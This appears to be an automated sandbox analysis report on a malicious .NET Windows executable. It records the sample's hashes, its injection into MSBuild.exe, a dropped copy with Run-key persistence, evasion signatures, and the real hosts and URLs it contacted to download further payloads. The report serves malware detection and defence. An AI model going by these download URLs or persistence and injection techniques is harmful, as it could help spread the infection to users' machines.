Edit tour

Windows Analysis Report
Kh25PMA7u8.exe

Overview

General Information

Sample Name:	Kh25PMA7u8.exe
Original Sample Name:	653246c59c4000245807a78407f44747.exe
Analysis ID:	1290586
MD5:	653246c59c4000245807a78407f44747
SHA1:	aa1bb17024d975f99094af6a6f2175650509246f
SHA256:	4ce76a43b7851ded0c83e9eac860a3725ba68475430ed3ddee4556657d6cdc41
Tags:	exe
Infos:

Detection

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Writes to foreign memory regions

Machine Learning detection for sample

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

Queries the volume information (name, serial number etc) of a device

One or more processes crash

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file does not import any functions

Sample file is different than original file name gathered from version info

Drops PE files

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

Kh25PMA7u8.exe (PID: 4156 cmdline: C:\Users\user\Desktop\Kh25PMA7u8.exe MD5: 653246C59C4000245807A78407F44747)

MSBuild.exe (PID: 6968 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe MD5: A52C95049B9EBCD4810762DD7982C146)

WerFault.exe (PID: 6976 cmdline: C:\Windows\system32\WerFault.exe -u -p 6968 -s 2412 MD5: 2AFFE478D86272288BBEF5A00BBEF6A0)

Fphniv.exe (PID: 4936 cmdline: "C:\Users\user\AppData\Roaming\Fphniv.exe" MD5: 653246C59C4000245807A78407F44747)

MSBuild.exe (PID: 5512 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe MD5: A52C95049B9EBCD4810762DD7982C146)

WerFault.exe (PID: 3044 cmdline: C:\Windows\system32\WerFault.exe -u -p 5512 -s 2408 MD5: 2AFFE478D86272288BBEF5A00BBEF6A0)

Fphniv.exe (PID: 5888 cmdline: "C:\Users\user\AppData\Roaming\Fphniv.exe" MD5: 653246C59C4000245807A78407F44747)

MSBuild.exe (PID: 4008 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe MD5: A52C95049B9EBCD4810762DD7982C146)

WerFault.exe (PID: 5076 cmdline: C:\Windows\system32\WerFault.exe -u -p 4008 -s 2416 MD5: 2AFFE478D86272288BBEF5A00BBEF6A0)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Kh25PMA7u8.exe	ReversingLabs: Detection: 31%
Source: Kh25PMA7u8.exe	Virustotal: Detection: 36%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: Kh25PMA7u8.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\Fphniv.exe

Avira: detection malicious, Label: HEUR/AGEN.1360909

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Fphniv.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Virustotal: Detection: 36%			Perma Link

Machine Learning detection for sample

Source: Kh25PMA7u8.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Fphniv.exe

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 108.181.20.39:443 -> 192.168.2.3:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.3:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.181.20.39:443 -> 192.168.2.3:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.181.20.39:443 -> 192.168.2.3:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.3:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.3:49757 version: TLS 1.2

Source: Kh25PMA7u8.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET /1eq98g.wav HTTP/1.1Host: files.catbox.moeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /lTN3WiiT0lphcISvfSuLLhp/xbitz/PureMM.exe HTTP/1.1Host: filedn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1eq98g.wav HTTP/1.1Host: files.catbox.moeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1eq98g.wav HTTP/1.1Host: files.catbox.moeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /lTN3WiiT0lphcISvfSuLLhp/xbitz/PureMM.exe HTTP/1.1Host: filedn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /lTN3WiiT0lphcISvfSuLLhp/xbitz/PureMM.exe HTTP/1.1Host: filedn.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 108.181.20.39 108.181.20.39
Source: Joe Sandbox View	IP Address: 23.109.93.100 23.109.93.100

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49677
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: CacheProxyHTTPd v1.0Date: Sun, 13 Aug 2023 06:42:45 +0000Content-Type: text/html; charset="UTF-8"Content-Length: 2450Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: CacheProxyHTTPd v1.0Date: Sun, 13 Aug 2023 06:43:59 +0000Content-Type: text/html; charset="UTF-8"Content-Length: 2450Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: CacheProxyHTTPd v1.0Date: Sun, 13 Aug 2023 06:44:00 +0000Content-Type: text/html; charset="UTF-8"Content-Length: 2450Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.139
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.139
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 209.197.3.8
Source: unknown	TCP traffic detected without corresponding DNS query: 209.197.3.8
Source: unknown	TCP traffic detected without corresponding DNS query: 209.197.3.8
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.5.146
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.113.215
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.113.215
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.113.215
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.139
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.139
Source: unknown	TCP traffic detected without corresponding DNS query: 209.197.3.8
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.108.226
Source: unknown	TCP traffic detected without corresponding DNS query: 209.197.3.8
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.108.226
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 209.197.3.8
Source: unknown	TCP traffic detected without corresponding DNS query: 209.197.3.8
Source: unknown	TCP traffic detected without corresponding DNS query: 209.197.3.8
Source: unknown	TCP traffic detected without corresponding DNS query: 209.197.3.8
Source: unknown	TCP traffic detected without corresponding DNS query: 23.0.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 34.104.35.123

Source: Kh25PMA7u8.exe, 00000000.00000003.367366766.0000023E40532000.00000004.00000020.00020000.00000000.sdmp, Kh25PMA7u8.exe, 00000000.00000003.370266165.0000023E40541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://en.w
Source: Kh25PMA7u8.exe, 00000000.00000003.372984548.0000023E40576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.agfamonotype.
Source: Kh25PMA7u8.exe, 00000000.00000003.370854144.0000023E40544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.html
Source: Kh25PMA7u8.exe, 00000000.00000003.374328993.0000023E40567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.html
Source: Kh25PMA7u8.exe, 00000000.00000003.373600448.0000023E40567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.htmlT
Source: Kh25PMA7u8.exe, 00000000.00000003.373600448.0000023E40567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.htmlalaOnc
Source: Kh25PMA7u8.exe, 00000000.00000003.368010701.0000023E40542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Kh25PMA7u8.exe, 00000000.00000003.368010701.0000023E40542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comGa(c
Source: Kh25PMA7u8.exe, 00000000.00000003.368010701.0000023E40542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comcomS
Source: Kh25PMA7u8.exe, 00000000.00000003.368010701.0000023E40542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.como
Source: Kh25PMA7u8.exe, 00000000.00000003.370854144.0000023E40544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Kh25PMA7u8.exe, 00000000.00000003.372320174.0000023E40547000.00000004.00000020.00020000.00000000.sdmp, Kh25PMA7u8.exe, 00000000.00000003.372345612.0000023E40548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.de
Source: Kh25PMA7u8.exe, 00000000.00000003.375619638.0000023E40567000.00000004.00000020.00020000.00000000.sdmp, Kh25PMA7u8.exe, 00000000.00000003.375697593.0000023E4056A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deal
Source: Kh25PMA7u8.exe, 00000000.00000003.372320174.0000023E40547000.00000004.00000020.00020000.00000000.sdmp, Kh25PMA7u8.exe, 00000000.00000003.372401842.0000023E40548000.00000004.00000020.00020000.00000000.sdmp, Kh25PMA7u8.exe, 00000000.00000003.372345612.0000023E40548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.ded

Source: unknown

DNS traffic detected: queries for: files.catbox.moe

Source: global traffic	HTTP traffic detected: GET /1eq98g.wav HTTP/1.1Host: files.catbox.moeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /lTN3WiiT0lphcISvfSuLLhp/xbitz/PureMM.exe HTTP/1.1Host: filedn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1eq98g.wav HTTP/1.1Host: files.catbox.moeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1eq98g.wav HTTP/1.1Host: files.catbox.moeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /lTN3WiiT0lphcISvfSuLLhp/xbitz/PureMM.exe HTTP/1.1Host: filedn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /lTN3WiiT0lphcISvfSuLLhp/xbitz/PureMM.exe HTTP/1.1Host: filedn.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 108.181.20.39:443 -> 192.168.2.3:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.3:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.181.20.39:443 -> 192.168.2.3:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.181.20.39:443 -> 192.168.2.3:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.3:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.3:49757 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6968 -s 2412

Source: Kh25PMA7u8.exe	Static PE information: No import functions for PE file found
Source: Fphniv.exe.0.dr	Static PE information: No import functions for PE file found

Source: Kh25PMA7u8.exe, 00000000.00000000.365368583.0000023E2607C000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenamePureMM.exe" vs Kh25PMA7u8.exe

Source: Kh25PMA7u8.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Fphniv.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Kh25PMA7u8.exe	ReversingLabs: Detection: 31%
Source: Kh25PMA7u8.exe	Virustotal: Detection: 36%

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe

File read: C:\Users\user\Desktop\Kh25PMA7u8.exe

Jump to behavior

Source: Kh25PMA7u8.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Kh25PMA7u8.exe C:\Users\user\Desktop\Kh25PMA7u8.exe
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Fphniv.exe "C:\Users\user\AppData\Roaming\Fphniv.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Fphniv.exe "C:\Users\user\AppData\Roaming\Fphniv.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6968 -s 2412
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4008 -s 2416
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 5512 -s 2408
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Jump to behavior

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe

File created: C:\Users\user\AppData\Roaming\Fphniv.exe

Jump to behavior

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD14.tmp

Jump to behavior

Source: classification engine

Classification label: mal96.evad.winEXE@12/18@6/3

Source: Kh25PMA7u8.exe	Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll
Source: C:\Windows\System32\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll
Source: C:\Windows\System32\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll
Source: C:\Windows\System32\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll
Source: C:\Windows\System32\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll

Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6968
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5512
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4008

Source: Kh25PMA7u8.exe, ConnectionGetterConnector.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Fphniv.exe.0.dr, ConnectionGetterConnector.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Kh25PMA7u8.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Kh25PMA7u8.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: Kh25PMA7u8.exe, ServerRefStruct.cs	.Net Code: InvokeReponse System.Reflection.Assembly.Load(byte[])
Source: Fphniv.exe.0.dr, ServerRefStruct.cs	.Net Code: InvokeReponse System.Reflection.Assembly.Load(byte[])

Source: initial sample	Static PE information: section name: .text entropy: 7.887039293485093
Source: initial sample	Static PE information: section name: .text entropy: 7.887039293485093

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe

File created: C:\Users\user\AppData\Roaming\Fphniv.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Fphniv			Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Fphniv			Jump to behavior

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
